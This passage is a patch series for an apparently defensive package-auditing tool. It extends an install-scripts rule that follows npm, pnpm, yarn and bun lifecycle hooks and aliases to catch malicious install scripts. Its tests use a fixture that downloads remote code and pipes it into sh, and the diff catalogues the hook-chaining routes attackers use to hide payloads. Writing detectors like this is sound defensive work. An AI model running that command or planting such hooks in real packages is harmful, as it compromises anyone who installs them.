enqueue(n); + enqueue(`post${n}`); + } } - const [a0, a1] = args; - if (!a0) return undefined; - let name: string | undefined; - let explicit = false; // explicit: `pre`/`post` run even when `` itself is undefined - if (pmName === "npm" ? NPM_RUN.has(a0) : a0 === "run" || a0 === "run-script") { - name = a1; - explicit = pmName !== "bun"; - } else if (pmName === "npm" || pmName === "pnpm") { - if (LIFECYCLE_CMDS.has(a0)) { name = a0; explicit = true; } - else if (pmName === "pnpm") name = a0; - } else if (pmName === "yarn") name = a0; - return name && (explicit || Object.hasOwn(scripts, name)) ? name : undefined; }; /** * Scan one command line; `sh -c ""` code is scanned again as a command line (depth-bounded, so linear). - * A followed `scripts[name]` body is scanned the same way, at most MAX_SCRIPT_HOPS scripts deep. */ - const scan = (cmd: string, out: Set, depth: number, hops = 0): void => { + const scan = (cmd: string, out: Set, depth: number): void => { // Quote tracking can only ADD coverage: a stray apostrophe (`# it's`) must not hide later commands, // so the plain split is scanned too, and `$(...)` / backtick bodies are scanned as command lines. - if (depth < MAX_INLINE_DEPTH) for (const body of substitutionBodies(cmd)) scan(body, out, depth + 1, hops); + if (depth < MAX_INLINE_DEPTH) for (const body of substitutionBodies(cmd)) scan(body, out, depth + 1); for (const simple of new Set([...splitSimpleCommands(cmd), ...cmd.split(SIMPLE_COMMAND_SPLIT)])) { const rawWords = simple.split(/\s+/).filter(Boolean); const words = rawWords.map(unquote); @@ -293,20 +285,9 @@ function makeResolver(files: PackageFile[], scripts: Record): (c } const command = words[i]; if (!command) continue; - const ref = scriptRef(words, i); - // npm, pnpm and yarn v1 also run a defined `pre` and `post` around ``. - if (ref !== undefined && hops < MAX_SCRIPT_HOPS) { - for (const n of [`pre${ref}`, ref, `post${ref}`]) { - const body = Object.hasOwn(scripts, n) ? scripts[n] : undefined; - const seen = followed.get(n); - if (typeof body !== "string" || (seen !== undefined && seen <= hops + 1)) continue; - followed.set(n, hops + 1); - if (seen === undefined) followedBodies.push([n, body]); - scan(body, out, depth, hops + 1); - } - } const name = trimPunct(command); const interpreter = name.slice(name.lastIndexOf("/") + 1); + if (PACKAGE_MANAGERS.has(interpreter)) followScriptWords(words, i + 1); const inline = Object.hasOwn(INLINE_FLAG, interpreter) ? INLINE_FLAG[interpreter] : undefined; // The command word itself may be a package script (`./setup`). if (!inline) { @@ -346,7 +327,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c j = end; } code = unquote(code); - if (inline === SHELL_INLINE && depth < MAX_INLINE_DEPTH) scan(code, out, depth + 1, hops); + if (inline === SHELL_INLINE && depth < MAX_INLINE_DEPTH) scan(code, out, depth + 1); else { // Non-shell inline code (`node -e "require('./x.js')"`): code-extension names inside still count. for (const cw of code.split(/\s+/)) { @@ -379,19 +360,17 @@ function makeResolver(files: PackageFile[], scripts: Record): (c return (cmd) => { const out = new Set(); - followed = new Map(); - followedBodies = []; + visited = new Set(); + queue = []; scan(cmd, out, 0); - return { files: [...out], scripts: followedBodies }; + for (let q = 0; q < queue.length; q++) scan(queue[q]![1], out, 0); // the queue grows while it is read + return { files: [...out], scripts: queue }; }; } const MAX_INLINE_DEPTH = 3; -// Options that take a separate value word, skipped with it (`npm --prefix . run x`). -const PM_VALUE_OPTS = new Set(["--prefix", "-C", "--dir", "--cwd", "--workspace", "-w", "--filter", "-F", "--loglevel"]); -const NPM_RUN = new Set(["run", "run-script", "rum", "urn"]); -const LIFECYCLE_CMDS = new Set(["test", "start", "stop", "restart"]); // `npm test` runs scripts.test -const MAX_SCRIPT_HOPS = 8; // `npm run a` -> `npm run b` -> ... : a chain deeper than this is not followed +const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn", "bun"]); +const PM_ALIAS: Record = Object.assign(Object.create(null), { t: "test", tst: "test", it: "test", "install-test": "test" }); const isPunct = (c: string | undefined) => c === "(" || c === ")" || c === '"' || c === "'" || c === "`"; /** Trim quote/paren punctuation from both ends with two pointers (a `)+$` regex is quadratic on `)))…x`). */ diff --git a/packages/core/test/security-npm-run.test.ts b/packages/core/test/security-npm-run.test.ts index 24054d0..c5fa46a 100644 --- a/packages/core/test/security-npm-run.test.ts +++ b/packages/core/test/security-npm-run.test.ts @@ -3,10 +3,10 @@ import { describe, test } from "node:test"; import { runRules } from "../src/index.js"; import type { AuditInput, PackageFile } from "../src/types.js"; -// A lifecycle hook that runs `npm run ` is followed into `scripts[]`. +// A lifecycle hook that hands a script name to a package manager is followed into `scripts[]`. +// Following is deliberately generous: a defined script named anywhere after npm/pnpm/yarn/bun is scanned. const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address -const PAYLOAD = `${CURL_SH}\n`; function file(path: string, content: string): PackageFile { return { path, content, size: Buffer.byteLength(content), changed: false }; @@ -24,124 +24,79 @@ function inputFor(files: Record, pkgJson: object): AuditInput { mode: "full", }; } -const sev = (files: Record, scripts: Record) => - runRules(inputFor(files, { scripts })).filter((x) => x.ruleId === "install-scripts").map((x) => x.severity); +const findings = (scripts: Record, files: Record = {}) => + runRules(inputFor(files, { scripts })).filter((x) => x.ruleId === "install-scripts"); +const sev = (scripts: Record, files: Record = {}) => findings(scripts, files).map((x) => x.severity); + +// `setup` runs an inline payload (no setup.js file, so only script lookup can find it). +const via = (hook: string, extra: Record = {}) => sev({ postinstall: hook, setup: CURL_SH, ...extra }); describe("install hooks follow package-manager script references", () => { - const files = { "package/setup.js": PAYLOAD }; - for (const hook of ["npm run setup", "pnpm run setup", "yarn run setup", "yarn setup", "npm run-script setup", "npm run setup -- --flag", "npm run --silent setup"]) { - test(`\`${hook}\` reaches the payload in setup.js`, () => { - assert.deepEqual(sev(files, { postinstall: hook, setup: "node setup.js" }), ["critical"]); - }); + const forms: [string, string][] = [ + ["npm run", "npm run setup"], + ["pnpm run", "pnpm run setup"], + ["yarn run", "yarn run setup"], + ["yarn ", "yarn setup"], + ["pnpm ", "pnpm setup"], + ["bun run", "bun run setup"], + ["bun ", "bun setup"], + ["npm run -- x", "npm run -- setup"], + ["npm --prefix . run x", "npm --prefix . run setup"], + ["an unknown option before the name", "npm --made-up-flag run setup"], + ["a name after other arguments", "npm run setup -- --flag"], + ["a compound command", "echo hi && npm run setup"], + ]; + for (const [label, hook] of forms) { + test(`${label}: \`${hook}\` reaches the payload`, () => assert.deepEqual(via(hook), ["critical"])); } - test("a reference inside a compound command is followed", () => { - assert.deepEqual(sev(files, { postinstall: "echo hi && npm run setup", setup: "node setup.js" }), ["critical"]); + test("the evidence names the followed script", () => { + const [f] = findings({ postinstall: "npm run setup", setup: CURL_SH }); + assert.equal(f!.severity, "critical"); + assert.ok(f!.evidence.some((e) => e.snippet.startsWith('"setup":'))); + }); + + test("a file executed by the followed script is scanned", () => { + assert.deepEqual(sev({ postinstall: "npm run setup", setup: "node setup.js" }, { "package/setup.js": `${CURL_SH}\n` }), ["critical"]); }); - test("`npm run build` with a benign build script stays clean", () => { - assert.deepEqual(sev({ "package/build.js": "console.log(1)\n", "package/setup.js": PAYLOAD }, { postinstall: "npm run build", build: "node build.js" }), ["low"]); + test("`npm test`, `npm t` and `npm restart` (which also follows stop and start)", () => { + assert.deepEqual(sev({ postinstall: "npm test", test: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm t", test: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm restart", start: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm restart", stop: CURL_SH }), ["critical"]); }); - test("an undefined script name resolves nothing", () => { - assert.deepEqual(sev(files, { postinstall: "npm run setup" }), ["low"]); + test("pre and post run with the script, and a benign prebuild stays clean", () => { + assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc", prebuild: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc", postbuild: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc", prebuild: "echo clean" }), ["low"]); + assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc", preother: CURL_SH }), ["low"]); }); - test("`yarn install` is a builtin, not a script, unless one is defined", () => { - const f = { "package/setup.js": PAYLOAD }; - assert.deepEqual(sev(f, { postinstall: "yarn install" }), ["low"]); - // `install` itself is critical; `postinstall` is too only because `yarn install` now names a defined script. - assert.deepEqual(sev(f, { postinstall: "yarn install", install: "node setup.js" }), ["critical", "critical"]); + test("a benign `build` stays clean, and `yarn install` with no `install` script resolves nothing", () => { + assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc" }), ["low"]); + assert.deepEqual(sev({ postinstall: "yarn install", setup: CURL_SH }), ["low"]); + assert.deepEqual(sev({ postinstall: "npm run setup" }), ["low"]); }); - test("bare `pnpm ` and `bun run ` are followed only when the script is defined", () => { - assert.deepEqual(sev(files, { postinstall: "pnpm setup", setup: "node setup.js" }), ["critical"]); - assert.deepEqual(sev(files, { postinstall: "bun run setup", setup: "node setup.js" }), ["critical"]); - assert.deepEqual(sev(files, { postinstall: "pnpm setup" }), ["low"]); - assert.deepEqual(sev(files, { postinstall: "pnpm install" }), ["low"]); - // `bun` is also an interpreter, so use inline payloads (no setup.js file) to isolate script lookup - assert.deepEqual(sev({}, { postinstall: "bun run setup", setup: CURL_SH }), ["critical"]); - assert.deepEqual(sev({}, { postinstall: "bun run setup" }), ["low"]); - assert.deepEqual(sev({}, { postinstall: "bun setup", setup: CURL_SH }), ["low"]); + test("words that are not package scripts or follow another command are not followed", () => { + assert.deepEqual(via("echo setup"), ["low"]); + assert.deepEqual(via("npm run constructor"), ["low"]); + assert.deepEqual(via("yarn toString"), ["low"]); }); test("a self-referencing script terminates", () => { - assert.deepEqual(sev(files, { postinstall: "npm run a", a: "npm run a" }), ["low"]); - assert.deepEqual(sev(files, { postinstall: "npm run a", a: "npm run b", b: "npm run a && node setup.js" }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm run a", a: "npm run a" }), ["low"]); + assert.deepEqual(sev({ postinstall: "npm run a", a: "npm run b", b: `npm run a && ${CURL_SH}` }), ["critical"]); }); - test("chained scripts resolve within the depth limit, and a very long chain is bounded", () => { - assert.deepEqual(sev(files, { postinstall: "npm run a", a: "npm run b", b: "node setup.js" }), ["critical"]); + test("a 20,000-script chain finishes quickly with no stack overflow", () => { const scripts: Record = { postinstall: "npm run s0" }; for (let i = 0; i < 20000; i++) scripts[`s${i}`] = `npm run s${i + 1}`; - scripts.s20000 = "node setup.js"; - assert.deepEqual(sev(files, scripts), ["low"]); // beyond the hop bound: no crash, no resolution - }); - - test("an inline payload in the followed script body is critical, and the evidence names the script", () => { - const findings = runRules(inputFor({}, { scripts: { postinstall: "npm run setup", setup: CURL_SH } })) - .filter((x) => x.ruleId === "install-scripts"); - assert.deepEqual(findings.map((x) => x.severity), ["critical"]); - assert.ok(findings[0]!.evidence.some((e) => e.snippet.startsWith('"setup":'))); - for (const hook of ["pnpm run setup", "yarn run setup", "yarn setup", "npm run-script setup"]) { - assert.deepEqual(sev({}, { postinstall: hook, setup: CURL_SH }), ["critical"]); - } - // chained, and bounded like the file case - assert.deepEqual(sev({}, { postinstall: "npm run a", a: "npm run b", b: CURL_SH }), ["critical"]); - }); - - test("a payload in `prebuild` / `postbuild` reached through `npm run build` is critical", () => { - assert.deepEqual(sev({}, { postinstall: "npm run build", build: "tsc", prebuild: CURL_SH }), ["critical"]); - assert.deepEqual(sev({}, { postinstall: "pnpm run build", build: "tsc", postbuild: CURL_SH }), ["critical"]); - assert.deepEqual(sev({}, { postinstall: "yarn build", build: "tsc", prebuild: CURL_SH }), ["critical"]); - assert.deepEqual(sev({}, { postinstall: "yarn build", prebuild: CURL_SH }), ["low"]); // bare yarn needs `build` defined - assert.deepEqual(sev(files, { postinstall: "npm run build", build: "tsc", prebuild: "node setup.js" }), ["critical"]); - // pre/post of an undefined main script still run - assert.deepEqual(sev({}, { postinstall: "npm run build", prebuild: CURL_SH }), ["critical"]); - }); - - test("a benign `prebuild` stays clean; `pre` is not run for an unrelated name", () => { - assert.deepEqual(sev({ "package/clean.js": "console.log(1)\n" }, { postinstall: "npm run build", build: "tsc", prebuild: "node clean.js" }), ["low"]); - assert.deepEqual(sev({}, { postinstall: "npm run build", build: "tsc", preother: CURL_SH }), ["low"]); - }); - - test("a script first reached at the hop limit is rescanned when a shorter path reaches it", () => { - const scripts: Record = { postinstall: "npm run c1 && npm run p", p: "npm run q", q: CURL_SH }; - for (let i = 1; i < 7; i++) scripts[`c${i}`] = `npm run c${i + 1}`; - scripts.c7 = "npm run p"; // long path: p sits at the hop limit, so its child q is out of reach - assert.deepEqual(sev({}, { ...scripts, postinstall: "npm run c1" }), ["low"]); - assert.deepEqual(sev({}, scripts), ["critical"]); // the short path reaches q - }); - - test("options with values are skipped before the subcommand", () => { - for (const hook of [ - "npm --prefix . run setup", "npm --prefix=. run setup", "npm -w pkg run setup", "npm --workspace pkg run setup", - "npm --loglevel silent run setup", "pnpm -C . run setup", "pnpm --dir . run setup", "pnpm --filter foo run setup", - "pnpm -F foo setup", "pnpm -w run setup", "yarn --cwd . setup", "yarn --cwd . run setup", - ]) { - assert.deepEqual(sev(files, { postinstall: hook, setup: "node setup.js" }), ["critical"], hook); - } - }); - - test("test / start / stop / restart are script references", () => { - for (const name of ["test", "start", "stop", "restart"]) { - for (const pm of ["npm", "pnpm"]) { - assert.deepEqual(sev(files, { postinstall: `${pm} ${name}`, [name]: "node setup.js" }), ["critical"], `${pm} ${name}`); - } - assert.deepEqual(sev(files, { postinstall: `yarn ${name}`, [name]: "node setup.js" }), ["critical"], `yarn ${name}`); - assert.deepEqual(sev(files, { postinstall: `npm ${name}` }), ["low"], `undefined ${name}`); - } - assert.deepEqual(sev({}, { postinstall: "npm test", pretest: CURL_SH }), ["critical"]); - }); - - test("npm aliases `rum` and `urn` are `run`", () => { - for (const alias of ["rum", "urn"]) { - assert.deepEqual(sev(files, { postinstall: `npm ${alias} setup`, setup: "node setup.js" }), ["critical"], alias); - } - }); - - test("inherited object keys are not scripts", () => { - assert.deepEqual(sev(files, { postinstall: "npm run constructor" }), ["low"]); - assert.deepEqual(sev(files, { postinstall: "yarn toString" }), ["low"]); + scripts.s20000 = CURL_SH; + const t0 = Date.now(); + assert.deepEqual(sev(scripts), ["critical"]); + assert.ok(Date.now() - t0 < 2000); }); }); From f5874592819bf891499ee3077501d9d9c1f43fd7 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 13:16:37 +0200 Subject: [PATCH 5/9] fix(core): close remaining script-following gaps in install-scripts - Aliases no longer replace the literal word: `npm run t` follows `scripts.t` as well as `scripts.test`. - `pre` and `post` are enqueued for every word and alias target, whether or not `` is defined, so `npm run build` with only `prebuild` follows `prebuild`. - `npm start` / `npm restart` with no `start` script runs `server.js`, so that file is scanned when it exists. - One command can run several scripts: `restart`, `pack`, `publish`, `version`, `install`/`i`/`ci`/`rebuild`, and the `test` aliases (`t`, `tst`, `it`, `install-test`, `cit`, `install-ci-test`) are mapped in a Map, so inherited keys such as `constructor` cannot match. Refs #85 --- packages/core/src/rules/install-scripts.ts | 37 ++++++++++++++------- packages/core/test/security-npm-run.test.ts | 34 +++++++++++++++++++ 2 files changed, 59 insertions(+), 12 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 106f6cc..6644e9f 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -238,18 +238,23 @@ function makeResolver(files: PackageFile[], scripts: Record): (c if (typeof body === "string" && !visited.has(n)) { visited.add(n); queue.push([n, body]); } }; /** - * Deliberate over-following: after `npm`/`pnpm`/`yarn`/`bun`, every word that names a script is followed, - * wherever it sits (after `--` or an unknown option too), with its `pre`/`post` scripts. Following a script - * that does not run costs a false positive only if that script is itself dangerous; missing one that runs is a bypass. + * Deliberate over-following: after `npm`/`pnpm`/`yarn`/`bun`, every word is treated as a script name, and + * so is each script a built-in command of that name runs (`PM_COMMANDS`). Each gets its `pre`/`post` scripts. + * Undefined names are skipped by `enqueue`. A script that does not run costs a false positive only if it is + * itself dangerous; missing one that runs is a bypass. */ - const followScriptWords = (words: string[], from: number): void => { + const followScriptWords = (words: string[], from: number, out: Set): void => { for (let j = from; j < words.length; j++) { - const w = PM_ALIAS[words[j]!] ?? words[j]!; - for (const n of w === "restart" ? ["restart", "stop", "start"] : [w]) { - if (!Object.hasOwn(scripts, n)) continue; - enqueue(`pre${n}`); - enqueue(n); - enqueue(`post${n}`); + const w = words[j]!; + for (const x of [w, ...(PM_COMMANDS.get(w) ?? [])]) { + enqueue(`pre${x}`); + enqueue(x); + enqueue(`post${x}`); + } + // `npm start` with no `start` script runs `node server.js`. + if ((w === "start" || w === "restart") && !Object.hasOwn(scripts, "start")) { + const hit = exact("package/server.js"); + if (hit) out.add(hit); } } }; @@ -287,7 +292,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c if (!command) continue; const name = trimPunct(command); const interpreter = name.slice(name.lastIndexOf("/") + 1); - if (PACKAGE_MANAGERS.has(interpreter)) followScriptWords(words, i + 1); + if (PACKAGE_MANAGERS.has(interpreter)) followScriptWords(words, i + 1, out); const inline = Object.hasOwn(INLINE_FLAG, interpreter) ? INLINE_FLAG[interpreter] : undefined; // The command word itself may be a package script (`./setup`). if (!inline) { @@ -370,7 +375,15 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const MAX_INLINE_DEPTH = 3; const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn", "bun"]); -const PM_ALIAS: Record = Object.assign(Object.create(null), { t: "test", tst: "test", it: "test", "install-test": "test" }); +// Scripts a built-in package-manager command runs besides the script of its own name (npm lifecycle). +const PM_COMMANDS = new Map([ + ...["t", "tst", "it", "install-test", "cit", "install-ci-test"].map((c) => [c, ["test"]] as [string, string[]]), + ["restart", ["restart", "stop", "start"]], + ["pack", ["prepack", "prepare", "postpack"]], + ["publish", ["prepublishOnly", "prepack", "prepare", "postpack", "publish", "postpublish"]], + ["version", ["preversion", "version", "postversion"]], + ...["install", "i", "ci", "rebuild"].map((c) => [c, ["preinstall", "install", "postinstall", "prepare"]] as [string, string[]]), +]); const isPunct = (c: string | undefined) => c === "(" || c === ")" || c === '"' || c === "'" || c === "`"; /** Trim quote/paren punctuation from both ends with two pointers (a `)+$` regex is quadratic on `)))…x`). */ diff --git a/packages/core/test/security-npm-run.test.ts b/packages/core/test/security-npm-run.test.ts index c5fa46a..55ec967 100644 --- a/packages/core/test/security-npm-run.test.ts +++ b/packages/core/test/security-npm-run.test.ts @@ -86,6 +86,40 @@ describe("install hooks follow package-manager script references", () => { assert.deepEqual(via("yarn toString"), ["low"]); }); + test("an alias keeps its literal name: `npm run t` follows scripts.t", () => { + assert.deepEqual(sev({ postinstall: "npm run t", t: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm t", t: CURL_SH }), ["critical"]); + }); + + test("pre/post are followed whether or not the main script is defined", () => { + assert.deepEqual(sev({ postinstall: "npm run build", prebuild: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm test", pretest: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm t", posttest: CURL_SH }), ["critical"]); // alias target gets pre/post too + }); + + test("implicit `npm start` runs server.js when scripts.start is undefined", () => { + assert.deepEqual(sev({ postinstall: "npm start" }, { "package/server.js": `${CURL_SH}\n` }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm restart" }, { "package/server.js": `${CURL_SH}\n` }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm start", prestart: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm start", start: "echo hi" }, { "package/server.js": `${CURL_SH}\n` }), ["low"]); // an explicit start wins + assert.deepEqual(sev({ postinstall: "npm run build" }, { "package/server.js": `${CURL_SH}\n` }), ["low"]); + }); + + test("a command that runs several scripts follows each, and inherited keys are not aliases", () => { + const hooks: [string, string][] = [ + ["npm cit", "test"], ["npm install-ci-test", "test"], + ["npm pack", "prepack"], ["npm pack", "prepare"], ["npm pack", "postpack"], + ["npm publish", "prepublishOnly"], ["npm publish", "postpublish"], ["npm publish", "publish"], + ["npm version", "preversion"], ["npm version", "postversion"], + ["npm ci", "prepare"], ["npm i", "postinstall"], ["npm rebuild", "install"], + ]; + for (const [hook, target] of hooks) { + assert.deepEqual(sev({ preinstall: hook, [target]: CURL_SH }).includes("critical"), true, `${hook} -> ${target}`); + } + assert.deepEqual(sev({ postinstall: "npm run constructor" }), ["low"]); + assert.deepEqual(sev({ postinstall: "npm run __proto__" }), ["low"]); + }); + test("a self-referencing script terminates", () => { assert.deepEqual(sev({ postinstall: "npm run a", a: "npm run a" }), ["low"]); assert.deepEqual(sev({ postinstall: "npm run a", a: "npm run b", b: `npm run a && ${CURL_SH}` }), ["critical"]); From b2fcf156fe3309fd922a8e90d4c9989c65c4f257 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 13:25:30 +0200 Subject: [PATCH 6/9] fix(core): refine npm lifecycle mapping in install-scripts - An empty `scripts.start` no longer suppresses the `server.js` fallback; only an own, nonempty string does, as in npm. - `it`, `install-test`, `cit` and `install-ci-test` run the install scripts and `test`. The npm install aliases (`add`, `in`, `ins`, `inst`, `insta`, `instal`, `isnt`, `isnta`, `isntal`, `isntall`) and the `verison` typo map like `install` and `version`. - A package-manager command whose subcommand is neither a known command nor a script also follows `prepare`, as a safe default. Refs #85 --- packages/core/src/rules/install-scripts.ts | 14 ++++++++++---- packages/core/test/security-npm-run.test.ts | 12 ++++++++++++ 2 files changed, 22 insertions(+), 4 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 6644e9f..7f4f623 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -244,6 +244,9 @@ function makeResolver(files: PackageFile[], scripts: Record): (c * itself dangerous; missing one that runs is a bypass. */ const followScriptWords = (words: string[], from: number, out: Set): void => { + // An unknown subcommand (not a known command, not a script) may still run `prepare`: follow it by default. + const sub = words.slice(from).find((w) => !w.startsWith("-")); + if (sub !== undefined && !PM_COMMANDS.has(sub) && !Object.hasOwn(scripts, sub)) enqueue("prepare"); for (let j = from; j < words.length; j++) { const w = words[j]!; for (const x of [w, ...(PM_COMMANDS.get(w) ?? [])]) { @@ -252,7 +255,7 @@ function makeResolver(files: PackageFile[], scripts: Record): (c enqueue(`post${x}`); } // `npm start` with no `start` script runs `node server.js`. - if ((w === "start" || w === "restart") && !Object.hasOwn(scripts, "start")) { + if ((w === "start" || w === "restart") && !(Object.hasOwn(scripts, "start") && typeof scripts.start === "string" && scripts.start !== "")) { const hit = exact("package/server.js"); if (hit) out.add(hit); } @@ -376,13 +379,16 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const MAX_INLINE_DEPTH = 3; const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn", "bun"]); // Scripts a built-in package-manager command runs besides the script of its own name (npm lifecycle). +const INSTALL_SCRIPTS = ["preinstall", "install", "postinstall", "prepare"]; const PM_COMMANDS = new Map([ - ...["t", "tst", "it", "install-test", "cit", "install-ci-test"].map((c) => [c, ["test"]] as [string, string[]]), + ...["t", "tst"].map((c) => [c, ["test"]] as [string, string[]]), + ...["it", "install-test", "cit", "install-ci-test"].map((c) => [c, [...INSTALL_SCRIPTS, "test"]] as [string, string[]]), ["restart", ["restart", "stop", "start"]], ["pack", ["prepack", "prepare", "postpack"]], ["publish", ["prepublishOnly", "prepack", "prepare", "postpack", "publish", "postpublish"]], - ["version", ["preversion", "version", "postversion"]], - ...["install", "i", "ci", "rebuild"].map((c) => [c, ["preinstall", "install", "postinstall", "prepare"]] as [string, string[]]), + ...["version", "verison"].map((c) => [c, ["preversion", "version", "postversion"]] as [string, string[]]), + ...["install", "i", "ci", "rebuild", "add", "in", "ins", "inst", "insta", "instal", "isnt", "isnta", "isntal", "isntall"] + .map((c) => [c, INSTALL_SCRIPTS] as [string, string[]]), ]); const isPunct = (c: string | undefined) => c === "(" || c === ")" || c === '"' || c === "'" || c === "`"; diff --git a/packages/core/test/security-npm-run.test.ts b/packages/core/test/security-npm-run.test.ts index 55ec967..da08f90 100644 --- a/packages/core/test/security-npm-run.test.ts +++ b/packages/core/test/security-npm-run.test.ts @@ -120,6 +120,18 @@ describe("install hooks follow package-manager script references", () => { assert.deepEqual(sev({ postinstall: "npm run __proto__" }), ["low"]); }); + test("an empty `start` script does not suppress the server.js fallback", () => { + assert.deepEqual(sev({ postinstall: "npm start", start: "" }, { "package/server.js": `${CURL_SH}\n` }), ["critical"]); + }); + + test("`cit`, the install aliases, `verison` and an unknown subcommand reach their lifecycle scripts", () => { + for (const hook of ["npm cit", "npm install-ci-test", "npm add left-pad", "npm isntall", "npm frobnicate", "npm run setup"]) { + assert.deepEqual(sev({ postinstall: hook, prepare: CURL_SH }), ["critical"], `${hook} -> prepare`); + } + assert.deepEqual(sev({ postinstall: "npm verison", postversion: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm cit", test: CURL_SH }), ["critical"]); + }); + test("a self-referencing script terminates", () => { assert.deepEqual(sev({ postinstall: "npm run a", a: "npm run a" }), ["low"]); assert.deepEqual(sev({ postinstall: "npm run a", a: "npm run b", b: `npm run a && ${CURL_SH}` }), ["critical"]); From a15a88d370d4b1c3db70b2e8caf810a986760942 Mon Sep 17 00:00:00 2001 From: Toni Bergholm Date: Fri, 20 Nov 2026 13:29:07 +0200 Subject: [PATCH 7/9] fix(core): always follow the install lifecycle after a package manager Any `npm`, `pnpm`, `yarn` or `bun` invocation now enqueues `preinstall`, `install`, `postinstall`, `prepublish` and `prepare`, whatever the subcommand (none, flags only, unknown, built-in or a script name). This replaces the unknown-subcommand special case and ends the alias chase: an alias nobody listed can no longer hide an install script. The alias map stays for `test` and the other non-install scripts, and gains `sit`, `clean-install-test`, `rb`, `clean-install`, `ic`, `install-clean` and `isntall-clean`. Refs #85 --- packages/core/src/rules/install-scripts.ts | 11 +++++------ packages/core/test/security-npm-run.test.ts | 13 +++++++++++++ 2 files changed, 18 insertions(+), 6 deletions(-) diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index 7f4f623..d8c49b7 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -244,9 +244,8 @@ function makeResolver(files: PackageFile[], scripts: Record): (c * itself dangerous; missing one that runs is a bypass. */ const followScriptWords = (words: string[], from: number, out: Set): void => { - // An unknown subcommand (not a known command, not a script) may still run `prepare`: follow it by default. - const sub = words.slice(from).find((w) => !w.startsWith("-")); - if (sub !== undefined && !PM_COMMANDS.has(sub) && !Object.hasOwn(scripts, sub)) enqueue("prepare"); + // Any package-manager invocation may run the install lifecycle (`npm ci`, bare `yarn`, an alias nobody listed). + for (const n of INSTALL_SCRIPTS) enqueue(n); for (let j = from; j < words.length; j++) { const w = words[j]!; for (const x of [w, ...(PM_COMMANDS.get(w) ?? [])]) { @@ -379,15 +378,15 @@ function makeResolver(files: PackageFile[], scripts: Record): (c const MAX_INLINE_DEPTH = 3; const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn", "bun"]); // Scripts a built-in package-manager command runs besides the script of its own name (npm lifecycle). -const INSTALL_SCRIPTS = ["preinstall", "install", "postinstall", "prepare"]; +const INSTALL_SCRIPTS = ["preinstall", "install", "postinstall", "prepublish", "prepare"]; const PM_COMMANDS = new Map([ ...["t", "tst"].map((c) => [c, ["test"]] as [string, string[]]), - ...["it", "install-test", "cit", "install-ci-test"].map((c) => [c, [...INSTALL_SCRIPTS, "test"]] as [string, string[]]), + ...["it", "install-test", "cit", "install-ci-test", "clean-install-test", "sit"].map((c) => [c, [...INSTALL_SCRIPTS, "test"]] as [string, string[]]), ["restart", ["restart", "stop", "start"]], ["pack", ["prepack", "prepare", "postpack"]], ["publish", ["prepublishOnly", "prepack", "prepare", "postpack", "publish", "postpublish"]], ...["version", "verison"].map((c) => [c, ["preversion", "version", "postversion"]] as [string, string[]]), - ...["install", "i", "ci", "rebuild", "add", "in", "ins", "inst", "insta", "instal", "isnt", "isnta", "isntal", "isntall"] + ...["install", "i", "ci", "rebuild", "rb", "clean-install", "ic", "install-clean", "isntall-clean", "add", "in", "ins", "inst", "insta", "instal", "isnt", "isnta", "isntal", "isntall"] .map((c) => [c, INSTALL_SCRIPTS] as [string, string[]]), ]); const isPunct = (c: string | undefined) => c === "(" || c === ")" || c === '"' || c === "'" || c === "`"; diff --git a/packages/core/test/security-npm-run.test.ts b/packages/core/test/security-npm-run.test.ts index da08f90..86e8996 100644 --- a/packages/core/test/security-npm-run.test.ts +++ b/packages/core/test/security-npm-run.test.ts @@ -132,6 +132,19 @@ describe("install hooks follow package-manager script references", () => { assert.deepEqual(sev({ postinstall: "npm cit", test: CURL_SH }), ["critical"]); }); + test("any package-manager invocation follows the install lifecycle scripts", () => { + assert.deepEqual(sev({ postinstall: "npm ci", prepublish: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "yarn", prepare: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm frobnicate", prepare: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "npm --silent", prepare: CURL_SH }), ["critical"]); + assert.deepEqual(sev({ postinstall: "echo hi", prepare: CURL_SH }), ["low"]); // not a package manager + }); + + test("`sit` and the other install-test aliases reach test", () => { + for (const c of ["sit", "clean-install-test"]) assert.deepEqual(sev({ postinstall: `npm ${c}`, test: CURL_SH }), ["critical"], c); + assert.deepEqual(sev({ postinstall: "npm isntall-clean", prepare: CURL_SH }), 